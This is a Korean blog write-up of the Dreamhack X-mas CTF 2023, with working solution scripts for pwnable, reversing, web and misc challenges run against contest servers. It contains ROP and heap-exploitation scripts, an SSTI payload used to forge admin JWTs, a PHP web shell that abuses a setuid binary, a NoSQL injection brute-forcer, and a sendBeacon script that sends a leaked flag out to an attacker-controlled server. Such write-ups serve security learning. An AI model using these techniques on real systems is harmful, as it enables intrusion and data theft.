[CTF] Dreamhack X-mas CTF 2023 - Write Up

The Orange·2023년 12월 25일
0

CTF

목록 보기
1/7

1. Overview
2. Solution
	2-1. Pwnable
    	2-1-1. Titanfull
        2-1-2. chrustmas
        2-1-3. The night guest
        2-1-4. Santa House
        2-1-5. Santa Protocol
    2-2. Reversing
    	2-2-1. Super car! Rudolph
        2-2-2. Hyper car! Rudolph
        2-2-3. pikachu_volleyball
    2-3. Web
    	2-3-1. Rednose Airlines
        2-3-2. weird legacy
        2-3-3. Secret Document Storage
        2-3-4. Leakless
        2-3-5. NginX-mas
        2-3-6. Santa's workshop
    2-4. Misc
    	2-4-1. Password in the gift box
        2-4-2. Where is gift?
        2-4-3. SantAAAAA
        2-4-4. Twinkling Tree
        2-4-5. 산타 할아버지도 힘들어요
    2-5. Web3
    	2-5-1. Alpha Hunter

함께 CTF 참여할 팀원을 구하고 있습니다~! Discord: uz56764

1. Overview

암호학만 풀 수 있었어도...

2. Solution

2-1. Pwnable

2-1-1. Titanfull

from pwn import *

#p = process("titanfull")
p = remote("host3.dreamhack.games", 12628)

p.sendline(b'%21$p / %17$p')

p.recvuntil(b'0x')
libc_base = int(p.recvn(12), 16) - 0x23f90 - 243
print(hex(libc_base))


p.recvuntil(b'0x')
cnry = int(p.recvn(16), 16)
print(hex(cnry))

p.sendline(b'7274')

pay = b'a'*24
pay += p64(cnry)
pay += p64(0xdeadbeef)
pay += p64(libc_base+0x0000000000023b6a) #pop rdi
pay += p64(libc_base+0x1b45bd)
pay += p64(libc_base+0x0000000000023b6a+1) #pop rdi
pay += p64(libc_base+0x0000000000023b6a+1) #pop rdi
pay += p64(libc_base+0x0000000000023b6a+1) #pop rdi
pay += p64(libc_base+0x52290)

raw_input()
p.sendline(pay)

p.interactive()

포맷스트링 버그로 leak하고 ROP하면 된다.

2-1-2. chrustmas

from pwn import *

#p = process("prob")
p = remote("host3.dreamhack.games", 23778)

raw_input()
p.sendline(b'a'*16+b'\x10')
p.interactive()

RUST 문제인데, 코드를 조금 살펴보면 먼가 함수 포인터를 실행한다는 것을 알 수 있다. 오버플로우로 포인터의 첫 바이트만 덮어서 win 함수로 만들어주면 된다.

2-1-3. The night guest

from pwn import *

#p = process("prob")
p = remote("host3.dreamhack.games", 22490)

for i in range(0,0x30):
    x = 0 #0xdeadbeef00000000 + i
    if i==24:
        x = 0x33
    if i==21:
        x = 0x2b
    if i==0x1a:
        x =  0x4010DD#0x4010DD # syscall
    if i==0x1b:
        x = 0x0000000000402508 #dummy
    if i==0x20:
        x = 0x0000000000402508 #dummy
    if i==0x21:
        x = 0x0000000000402500 #dummy
    if i==0x1e:
        x = 0x300
    pay = b''
    pay += p64(0x401005)
    pay += p64(0x00000000004010e1)
    pay += p64(0x00000000004010e1)
    pay += p64(x)

    p.send(pay)

pay = b''
pay += b'a'*0x10
pay += p64(0x40108C)
pay += p64(0x4010DD)

p.send(pay)

pay = b'/bin/sh\x00'
pay += p64(0x40108C)
pay += p64(0x4010DD)

for i in range(0x16):
    if i==0x12:
        pay += p64(0x3b)
    elif i==0x14 or i==0xd:
        pay += p64(0x0000000000402500)
    elif i==0x15:
        pay += p64(0x4010DD)
    else:
        pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x33)
pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x2b)

raw_input()
p.sendline(pay)

p.interactive()

랜덤한 write를 하는 로직에서 rax가 0xf로 맞춰지는 케이스가 있으므로, 이걸 이용해서 sigreturn ROP를 하면 된다. sub rsp 가젯을 이용하면 8바이트 단위로 스택에 값을 쓸 수 있으므로 이걸로 스택에 레지스터를 세팅하면 된다.

2-1-4. Santa House

from pwn import *
#context.log_level = 'debug'

def decrypt(cipher):
    key = 0
    plain = 0

    for i in range(1,6):
        bits = 64-12*i
        if(bits < 0): bits = 0
        plain = ((cipher ^ key) >> bits) << bits
        key = plain >> 12

    return plain


for i in range(0,1000):
    print(i)
    try:
        #p = process('chall')
        p = remote("host3.dreamhack.games", 17150)
        #p = process("./chall", env={"LD_PRELOAD":"/xmas/libc-2.31.so"})

        p.send(b'a'); time.sleep(0.5)

        p.recvuntil(b':')
        p.recvuntil(b':')
        p.recvuntil(b':')
        stack = decrypt(int(p.recvuntil(b'!', drop=True)) >> 12) - 0x220 - 0x200
        print(hex(stack)) 

        p.send(b'aaaaaaaa'); time.sleep(0.1)
        p.recvuntil(b'Here is your present ')
        p.recvn(8)
        pie_base = decrypt(u64(p.recvuntil(b'!', drop=True)) >> 12) - 0x1520
        print(hex(pie_base))

        p.send(b'/bin/sh\x00'+p64(pie_base+0x0000000000001543)+p64(stack)+p64(pie_base+0x0000000000001543+1)+p64(pie_base+0x10F0)+p64(0x0)+p64(stack)+p64(pie_base+0x124D))

        p.sendline(b'echo abcd1234')
        p.sendline(b'echo abcd1234')
        p.sendline(b'echo abcd1234')

        if b'abcd1234' in p.recvuntil(b'abcd1234', timeout=1.5):
            break
        
        p.close()

    except:
        try:
            p.close()
        except:
            p.close()

p.interactive()

heap safe linking과 동일한 방법으로 dummy 값을 암호화한다. decrypt해서 stack, pie_base leak 하고 ROP하면 된다.

2-1-5. Santa Protocol

from pwn import *

#p = remote('172.17.0.5', 32912)
p = remote("host3.dreamhack.games",14053)
context.log_level = 'DEBUG'

buf = b'Merry_Christmas!'
buf += p8(0x0) + p8(0x1)
buf += p16(0x0) + p16(0x0)
p.send(buf)

p.recvuntil(b'stderr addr: 0x')
libc_base = int(p.recvn(12),16) - 0x3ec680
print(f'libc_base = {hex(libc_base)}')

p.close()



raw_input()
#p = remote('172.17.0.5', 32912)
p = remote("host3.dreamhack.games",14053)

buf = b'Merry_Christmas!'
buf += p8(0x0) + p8(0x2)
buf += p16(0x0) + p16(0x0) + p16(0x0)
p.send(buf); time.sleep(0.5)

buf = b'Merry_Christmas!'
buf += p8(0x0) + p8(0x4)
buf += p16(0x0) + p16(0x0) + p16(0x0)
p.send(buf); time.sleep(0.5)
p.sendline(b'a'); time.sleep(0.5)

buf = b'Merry_Christmas!'
buf += p8(0x0) + p8(0x5)
buf += p16(0x0) + p16(0x0) + p16(0x0)
p.send(buf); time.sleep(0.5)

system_addr = libc_base+0x4f420
free_hook = libc_base+0x3ed8e8

buf = b'Merry_Christmas!'
buf += p8(0x0) + p8(0x4)
buf += p16(0x0) + p16(0x0) + p16(0x0)
p.send(buf)
p.sendline(b'\x00'*0x10+p64(0x0)+p64(0x31)+p64(free_hook-0x8)+p64(0x0)+b'\x00'*0x10+p64(0x0)+p64(0x21)); time.sleep(1)

buf = b'Merry_Christmas!'
buf += p8(0x0) + p8(0x5)
buf += p16(0x0) + p16(0x0) + p16(0x0)
p.send(buf)

buf = b'Merry_Christmas!'
buf += p8(0x0) + p8(0x4)
buf += p16(0x0) + p16(0x40-1,endian='big') + p16(0x0)
p.send(buf)
p.sendline(b'/bin/sh\x00'+p64(system_addr)); time.sleep(1)

buf = b'Merry_Christmas!'
buf += p8(0x0) + p8(0x5)
buf += p16(0x0) + p16(0x0) + p16(0x0)
p.send(buf)
p.interactive()

malloc(n+1), recv(fd,addr,n-1, ..)로 input을 받기 때문에, n이 0이면 Heap Overflow가 발생한다. Tcache Poisoning으로 익스하면 되는데, Heap 할당 순서 때문에, size 조작으로 청크의 size를 바꿔서 원하는 순서로 할당되게 하는 Trick이 필요하다.

2-2. Reversing

2-2-1. Super car!

MOV = 1
ADD = 2
LEA = 4
SYS = 8

SYS_OPEN = 1
SYS_READ = 2
SYS_WRITE = 4

def getReg(a1):
  if a1 == 8:
    return 1
  if a1 > 8:
    raise Exception("ERR REG")
  if a1 == 4:
    return 0
  if a1 > 4:
    raise Exception("ERR REG")
  if a1 == 1:
    return 3
  if a1 != 2:
    raise Exception("ERR REG")
  return 2


code = b""
def pack(OP, OPER1, OPER2):
    global code

    code += bytes([OP])
    code += bytes([OPER1])
    code += bytes([OPER2])


d = b"./flag"
for i in range(len(d)):
  pack(MOV, 1, i)
  pack(MOV, 2, d[i])
  pack(LEA, 1, 2)

pack(MOV, 1, 0) # mem
pack(MOV, 2, 0) # flag
pack(SYS, SYS_OPEN, 1)

pack(MOV, 4, 100) #len
pack(MOV, 2, 0) # mem
pack(SYS, SYS_READ, 1)

pack(MOV, 1, 1) # fd
pack(MOV, 2, 0) # off
pack(MOV, 4, 100)
pack(SYS, SYS_WRITE, 1)

open("out", "wb").write(code)

간단한 VM 문제입니다. 심볼이 그대로 남아있으니 분석 후 바이트코드를 생성해주면 됩니다.

2-2-2. Hyper car! Rudolph

SYS = 1
LEA = 2
MOV = 4
ADD = 8

SYS_OPEN = 4
SYS_READ = 2
SYS_WRITE = 1

def getReg(a1):
  if a1 == 8:
    return 1
  if a1 > 8:
    raise Exception("ERR REG")
  if a1 == 4:
    return 0
  if a1 > 4:
    raise Exception("ERR REG")
  if a1 == 1:
    return 3
  if a1 != 2:
    raise Exception("ERR REG")
  return 2


code = b""
def pack(OP, OPER1, OPER2):
    global code

    code += bytes([OPER2])
    code += bytes([OP])
    code += bytes([OPER1])


d = b"./flag"
for i in range(len(d)):
  pack(MOV, 1, i)
  pack(MOV, 2, d[i])
  pack(LEA, 1, 2)

pack(MOV, 1, 0) # mem
pack(MOV, 2, 0) # flag
pack(SYS, SYS_OPEN, 1)

pack(MOV, 4, 100) #len
pack(MOV, 2, 0) # mem
pack(SYS, SYS_READ, 1)

pack(MOV, 1, 1) # fd
pack(MOV, 2, 0) # off
pack(MOV, 4, 100)
pack(SYS, SYS_WRITE, 1)

open("out", "wb").write(code)

super-car VM 문제에서 명령어 구조(?)의 순서, SYSCALL 번호 등이 섞여있습니다. super-car의 생성 코드를 적절히 수정해주면 됩니다.

2-2-3. pikachu_volleyball

피카츄 배구 웹 페이지가 커스터마이징되어있고 똑같이 플레이 가능하다.

main.bundle.js 를 확인해보면 난독화되어있다

특정 상수값을 함수에 전달하여 원하는 문자열을 사용하는 방식인데 각 상수에 해당하는 문자열 테이블을 만들어 난독화 해제한다.

import re
table = eval(open('./table.txt', 'r').read())

ob_code = open('main.bundle.js', 'r').read()
res = ob_code

m = re.findall('_0x.{6}\(0x.{3}\)', ob_code)
for x in m:
    if '_0x95b830' in x:
        continue
    print(x)
    index = int(x.split('(')[1].split(')')[0], 16)
    res = res.replace(x, "'" + table[index] + "'")

open('deob_main.bundle.js', 'w').write(res)

딱봐도 수상한 부분이 있고

flag = [0x44, 0x49, 0x7b, 0x60, 0x63, 0x46, 0x73, 0x2, 0x22, 0x21, 0x50, 0x1a, 0xdb, 0xf6, 0xab, 0xd9, 0x146, 0x154, 0x171, 0x10a, 0x1f1, 0x1cd, 0x1c5, 0x27e, 0x22e, 0x22e, 0x2c3, 0x2e9, 0x37f, 0x30d, 0x3bb, 0x7d]
flag = [(x ^ (i**2)) & 0xFF for i, x in enumerate(flag)]

print(bytes(flag))

간단한 xor 역여낫ㄴ 해주면 된다

2-3. Web

2-3-1. Rednose Airlines

import requests
import html

import jwt

a = requests.post(
    "http://host3.dreamhack.games:20551/login", data={"id": "{{config}}", "pw": ""}
)
print(a.text)
key = html.unescape(a.text).split("'JWTKey': '")[1].split("'")[0]

token = jwt.encode(
    {
        "id": "admin",
        "isAdmin": True,
    },
    key,
    "HS256",
)

token = token
print(token)

res = requests.get(
    "http://host3.dreamhack.games:20551/api/metar",
    params={"airport": "file:/deploy/flag_[a-z][a-z][a-z][a-z].txt"},
    cookies={"auth": token},
)
print(res.text)

SSTI가 존재하여 config에 있는 JWT KEY를 볼 수 있습니다.
해당 키를 이용하여 admin 토큰을 생성하고 curl globbing을 이용하여 플래그를 찾을 수 있습니다.

2-3-2. weird legacy

라이브러리에서는 url.parse, 코드에서는 URL을 사용했고
node에 구현된 url.parse와 URL(whatwg)가 달라서 생기는 취약점입니다.

http://host3.dreamhack.games:20228/fetch?url=http://4.tcp.ngrok.io*.localhost:12804

2-3-3. Secret Document Storage

php 역직렬화 취약점을 이용하여 init.sql를 읽어 플래그의 뒷 부분을 알 수 있고 admin.php를 읽어 access code를 얻을 수 있습니다. 또한 admin.php에 PHPSESSID와 함께 요청하여 어드민 활성화를 할 수 있습니다.

이미지 업로드에

<?php
  exec("find /readflag -exec cat {} \;", $output, $return_var);
  var_dump($output);
  var_dump($return_var);
?>

를 업로드하고 dashboard.php에서 include를 하면 s 비트가 있는 find를 이용해 권한상승을 하여 /readflag를 읽을 수 있습니다.

(Dockerfile에서 chmod u+s를 함)

2-3-4. Leakless

  • isAdmin 체크해서 오류를 띄워도 진행은 계속되어 이름이 clear_account이기만 하다면 정상적으로 clear를 할 수 있음.
  • __proto__를 username으로, country를 content 생성 후 clear를 한다면 write에서 content에 pp를 발생시킬 수 있음. 따라서 viewtime을 유출할 수 있음. (굳이 pp를 일으키지 않아도 country를 아무거나 하면 format(undefined)로 되어 ISO 8601 형식으로 나옴)

위의 방법으로 checked를 true로 만들 수 있음.

window.open으로 창을 열고 로그인 후 그 페이지에서 opener.history.go(-3)을 하면 bfcache에 있던 플래그를 유출할 수 있음.

<script>
    function sleep(ms) {
        return new Promise((r) => setTimeout(r, ms));
    }

    async function start() {
        let win = window.open("http://localhost/login");

        await sleep(300);
        win.username.value = "hello";
        win.password.value = "hello";
        win.submit.click();

        await sleep(300);
        win.content.value = ...;
        win.submit.click();
    };

    start()
</script>
<script>
    function sleep(ms) {
        return new Promise((r) => setTimeout(r, ms));
    }
    
    async function start() {
        opener.history.go(-3)
        await sleep(600)

        setInterval(() => {
            navigator.sendBeacon("https://my-server/log?" + opener.content.value)
        }, 500)
    }

    start()
</script>

2-3-5. NginX-mas

# import socket

# s = socket.socket()
# s.connect(("host3.dreamhack.games", 9453))
# s.send(b"GET /h\r\n\r\n")
# print(s.recv(1000))

import requests
print(
    requests.get(
        "http://host3.dreamhack.games:9453/f",
        headers={"Host": "yvi.adsfqqpoiuasfdkjlfsadq.com"},
    ).text
)

http1에서는 Host가 필수가 아니었기에 Host를 전달하지 않아도 bad request 오류가 나지 않습니다.

따라서 DOMAIN의 뒷부분을 유출시킬 수 있습니다.

2-3-6. Santa's workshop

  1. prototype pollution -> nosql injection -> admin pw 구하기
JSON.parse(`{"username":"${username}", "password":"${password}"}`));

해당 부분에서 injection 가능
-1. findOne 할 때 password: '' 가 있으면 admin 계정을 찾지 못하기 때문에 password를 없애야한다.
-2. validate 에서 username 과 password가 존재하는지 확인하기 때문에 password 를 {}.proto 에 설정해주어야 한다.
-3. findOne 시 $where 가 필터링되어있고, username과 password 는 문자열이어야 하기 때문에 $expr 를 사용하여 password를 한글자씩 BF 할 수 있다.

for bf in range(32):
    for i in '0123456789abcdef':
        r = post(f'{URL}/user/login', data={
            'username': 'admin", "__proto__": {"a":"haha',
            'password': 'testpw"}, "$expr": \
                {\
                    "$function":\
                    {\
                        "body": "function(pw) { return pw['+ str(bf) +'] == \''+ i +'\' }",\
                        "args": ["$password"],\
                        "lang": "js"\
                    }\
                }, "username": "admin'.replace(' ', '').replace('returnpw', 'return pw')
        }).json()

        if r['statusCode'] == 403:
            adminPW += i
            print(adminPW)
            break

최종 findOne에 들어가는 validation

  1. race condition
    addflag 를 계속 요청하는 스레드를 여러개 만든 후 removeFlag와 check 을 요청하여 existingFlag.length 가 3 이상이 될 때를 노린다.
from threading import Thread
adminPW = '4de9963ef961cc5cbb02568bb156cb1b'
r = post(f'{URL}/user/login', data={
    'username': 'admin',
    'password': adminPW
}).json()
print(r)

token = r['token']
header = {
    'Authorization': f'a {token}'
}

def addflag():
    while True:
        get(f'{URL}/admin/flag', headers=header).text

def removeflag():
    delete(f'{URL}/admin/flag', headers=header).text

for i in range(10):
    t1 = Thread(target=addflag)    
    t1.daemon = True
    t1.start()

while True:
    removeflag()
    print(get(f'{URL}/admin/check', headers=header).text, "1")
    input("> ")

2-4. Misc

2-4-1. Password in the gift box

t = """
7
+
-|-
']['
†
"|"
~|~
"""

h = """
#
/-/
[-]
]-[
)-(
(-)
:-:
|~|
|-|
]~[
}{
!-!
1-1
\-/
I+I
/-\\
"""

e = """
3
&
£
€
ë
[-
|=-
"""

i = """
1
[]
|
!
eye
3y3
][
"""

s = """
5
$
z
§
ehs
es
2
"""

k = """
>|
|<
/<
1<
|c
|(
|{
"""

y = """
j
`/
Ч
7
\|/
¥
\//
"""

import itertools

t = t.strip().split("\n")
h = h.strip().split("\n")
e = e.strip().split("\n")
k = k.strip().split("\n")
y = y.strip().split("\n")

msg = """l)n$~#%KN$#K4i>O4^R']$Q#TT$@%k/|5{g;4,>g.\?N"|"}{|=->-@$|$|(&`/3K;hk@^@%y4j&K=J3jki)=[[+KT%4#@:4#`!w)@W4|%n+#ba-.t4*"""
for c in itertools.product(t, h, e):
    c = "".join(c)
    if c in msg:
        print(c)
for c in itertools.product(i, s, k, e, y):
    c = "".join(c)
    if c in msg:
        print(c)

2-4-2. Where is gift?

스마트 컨트랙트에서는 다른 컨트랙트의 private의 값을 볼 수 없지만, 블록체인 위의 데이터는 모든 블록체인 노드들이 볼 수 있기에 https://sepolia.etherscan.io에서 해당 컨트랙트의 데이터를 확인했습니다.

2-4-3. SantAAAAA

NATO phonetic alphabet을 여러번 적용한 후 모두 A로 치환했다고 한다.

1. Hello World
2. HI ECHO LIMA LIMA ...
3. HI INDIA ECHO CHARLIE ...
4. HI INDIA INDIA  ...

위처럼 각 알파벳에 해당하는 NATO phonetic alphabet이 정해져있다.
몇번 적용하던간에 처음에 H 면 HI 와 INDIA가 무조건 나오게 되어있다.
그렇기 때문에 A-Z 각각 해당하는 결과를 구해주어 table을 만들 수 있다.

nato = {
    'A': 'Alfa',
    'B': 'Bravo',
    'C': 'Charlie',
    'D': 'Delta',
    'E': 'Echo',
    'F': 'Foxtrot',
    'G': 'Golf',
    'H': 'Hotel',
    'I': 'India',
    'J': 'Juliett',
    'K': 'Kilo',
    'L': 'Lima',
    'M': 'Mike',
    'N': 'November',
    'O': 'Oscar',
    'P': 'Papa',
    'Q': 'Quebec',
    'R': 'Romeo',
    'S': 'Sierra',
    'T': 'Tango',
    'U': 'Uniform',
    'V': 'Victor',
    'W': 'Whiskey',
    'X': 'Xray',
    'Y': 'Yankee',
    'Z': 'Zulu',
    '1': 'One',
    '2': 'Two',
    '3': 'Three',
    '4': 'Four',
    '5': 'Five',
    '6': 'Six',
    '7': 'Seven',
    '8': 'Eight',
    '9': 'Nine',
    '0': 'Zero'
}

nato_inverse = { v.upper():k for k, v in nato.items() }
# print(nato_inverse)
result = {}
for c in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
    n = nato[c].upper()
    res = []
    for k in n:
        # res.append(nato[k].upper())                
        res.append('A' * len(nato[k]))
    result[' '.join(res)] = c # L, M duplicate


import json
json.dump(result, open('result2.json', 'w'), indent=4)
// table1.json
{
    "A": "ALPHA LIMA PAPA HOTEL ALPHA",
    "B": "BRAVO ROMEO ALPHA VICTOR OSCAR",
    "C": "CHARLIE HOTEL ALPHA ROMEO LIMA INDIA ECHO",
    "D": "DELTA ECHO LIMA TANGO ALPHA",
    "E": "ECHO CHARLIE HOTEL OSCAR",
    "F": "FOXTROT OSCAR X-RAY TANGO ROMEO OSCAR TANGO",
    "G": "GOLF OSCAR LIMA FOXTROT",
    "H": "HOTEL OSCAR TANGO ECHO LIMA",
    "I": "INDIA NOVEMBER DELTA INDIA ALPHA",
    "J": "JULIET UNIFORM LIMA INDIA ECHO TANGO",
    "K": "KILO INDIA LIMA OSCAR",
    "L": "LIMA INDIA MIKE ALPHA",
    "M": "MIKE INDIA KILO ECHO",
    "N": "NOVEMBER OSCAR VICTOR ECHO MIKE BRAVO ECHO ROMEO",
    "O": "OSCAR SIERRA CHARLIE ALPHA ROMEO",
    "P": "PAPA ALPHA PAPA ALPHA",
    "Q": "QUEBEC UNIFORM ECHO BRAVO ECHO CHARLIE",
    "R": "ROMEO OSCAR MIKE ECHO OSCAR",
    "S": "SIERRA INDIA ECHO ROMEO ROMEO ALPHA",
    "T": "TANGO ALPHA NOVEMBER GOLF OSCAR",
    "U": "UNIFORM NOVEMBER INDIA FOXTROT OSCAR ROMEO MIKE",
    "V": "VICTOR INDIA CHARLIE TANGO OSCAR ROMEO",
    "W": "WHISKEY HOTEL INDIA SIERRA KILO ECHO YANKEE",
    "X": "XRAY ROMEO ALPHA YANKEE",
    "Y": "YANKEE ALPHA NOVEMBER KILO ECHO ECHO",
    "Z": "ZULU UNIFORM LIMA UNIFORM"
}

이후 역 table 또한 만들어 준다.

{
    "AAAA AAAA AAAAAAA AAAA": "A",
    "AAAAA AAAAA AAAA AAAAAA AAAAA": "B",
    "AAAAAAA AAAAA AAAA AAAAA AAAA AAAAA AAAA": "C",
    "AAAAA AAAA AAAA AAAAA AAAA": "D",
    "AAAA AAAAAAA AAAAA AAAAA": "E",
    "AAAAAAA AAAAA AAAA AAAAA AAAAA AAAAA AAAAA": "F",
    "AAAA AAAAA AAAA AAAAAAA": "G",
    "AAAAA AAAAA AAAAA AAAA AAAA": "H",
    "AAAAA AAAAAAAA AAAAA AAAAA AAAA": "I",
    "AAAAAAA AAAAAAA AAAA AAAAA AAAA AAAAA AAAAA": "J",
    "AAAA AAAAA AAAA AAAAA": "K",
    "AAAA AAAAA AAAA AAAA": "M",
    "AAAAAAAA AAAAA AAAAAA AAAA AAAA AAAAA AAAA AAAAA": "N",
    "AAAAA AAAAAA AAAAAAA AAAA AAAAA": "O",
    "AAAA AAAA AAAA AAAA": "P",
    "AAAAAA AAAAAAA AAAA AAAAA AAAA AAAAAAA": "Q",
    "AAAAA AAAAA AAAA AAAA AAAAA": "R",
    "AAAAAA AAAAA AAAA AAAAA AAAAA AAAA": "S",
    "AAAAA AAAA AAAAAAAA AAAA AAAAA": "T",
    "AAAAAAA AAAAAAAA AAAAA AAAAAAA AAAAA AAAAA AAAA": "U",
    "AAAAAA AAAAA AAAAAAA AAAAA AAAAA AAAAA": "V",
    "AAAAAAA AAAAA AAAAA AAAAAA AAAA AAAA AAAAAA": "W",
    "AAAA AAAAA AAAA AAAAAA": "X",
    "AAAAAA AAAA AAAAAAAA AAAA AAAA AAAA": "Y",
    "AAAA AAAAAAA AAAA AAAAAAA": "Z"
}

이제 가장 큰 공백부터 차례대로 split 하고 치환하고를 반복하면 된다.

cipher = open('A.txt', 'r', encoding='utf-16').read().replace('-', '')

def spppplit(cipher, space_cnt):
    space = ' ' * space_cnt    
    if space == ' ':
        if cipher == '\n':
            return '\n'
        return result[cipher]
    
    tmp = cipher.split(space) 
    tmp = ''.join([spppplit(line, space_cnt - 1) for line in tmp])

    if tmp == 'MIMA':
        tmp = 'LIMA'    
    elif 'M' in tmp and tmp not in nato_inverse.keys():
        tmp = tmp.replace('M', 'L')
    elif 'L' in tmp and tmp not in nato_inverse.keys():
        tmp = tmp.replace('L', 'M')
    
    if tmp == '\n':
        return '\n'
    
    if space_cnt == 7:
        return tmp[:-1].lower()
    return nato_inverse[tmp]

plain = spppplit(cipher, 7)
print(f'DH{{{plain}}}')

2-4-4. Twinkling Tree

import cv2
import numpy as np

cap = cv2.VideoCapture("./twinkling_tree.avi")

color = np.array([0, 255, 0])
i = 0

img = np.zeros((50, 210, 3), dtype=np.uint8)


while cap.isOpened():
    ret, frame = cap.read()
    if frame is None:
        break

    mask = cv2.inRange(frame, color, color)
    location = np.where(mask != 0)
    assert location[0].size > 0 and location[1].size > 0

    Y, X = location
    x, y = X[0], int(Y[0] / 10) + 700

    imgX = i % 21
    imgY = i // 21
    imgX *= 10
    imgY *= 10
    print(i, imgX, imgY)
    img[imgY : imgY + 10, imgX : imgX + 10] = frame[y : y + 10, x : x + 10]

    cv2.imwrite(f"a.png", img)
    i += 1
cap.release()

원래 이미지에 랜덤한 위치, 특정한 위치에 사각형이 들어가고, 특정한 위치를 기준으로 (x, int(fixed_y / 10) + 700)에 10x10으로 플래그 이미지를 복사하기에 잘 모아주면 됩니다

2-4-5. 산타 할아버지도 힘들어요

https://github.com/Xerbo/aptdec
NOAA APT 위성 decoder를 이용하여 wav를 플래그가 있는 이미지로 디코딩할 수 있습니다.

2-5. Web3

2-5-1. Alpha Hunter

범위가 너무 커서 최저 가격이 나오는 nonce를 bruteforce로 찾을 수는 없음.

쿠폰을 생성할 때에는 고정값인 5로 생성을 하지만 살 때에는 인자의 length로 읽기에 취약점이 발생.

issue부

bytes memory _input = abi.encodePacked(_blockNumber);
for(uint256 i = 0; i < PER_N_ITEM; i++) {
    _input = abi.encodePacked(_input, _ids[i]);
}
for(uint256 id = 0; id < PER_N_ITEM; id++) {
    _input = abi.encodePacked(_input, _prices[id]);
}

buy부

bytes memory _input = abi.encodePacked(block.number);
for(uint256 i = 0; i < _ids.length; i++) {
    _input = abi.encodePacked(_input, _ids[i]);
}
for(uint256 i = 0; i < _prices.length; i++) {
    _input = abi.encodePacked(_input, _prices[i]);
}

_ids는 65~90의 숫자들이 있고 _prices에는 가격이 wei 단위로 있음.
abi.encodePacked는 그저 인코딩 후 붙여주기만 하기에 _ids의 뒤에 숫자를 _prices에 넣어도 체크가 통과됨.

따라서 60~90 wei로 글자를 살 수 있어 1이더로 최소 11111111111111112개의 글자를 살 수 있게 되어 성공 조건을 만족할 수 있음.

1개의 댓글

comment-user-thumbnail
2023년 12월 27일

weird legacy 페이로드 조금만 자세히 설명해주실 수 있으신가여

답글 달기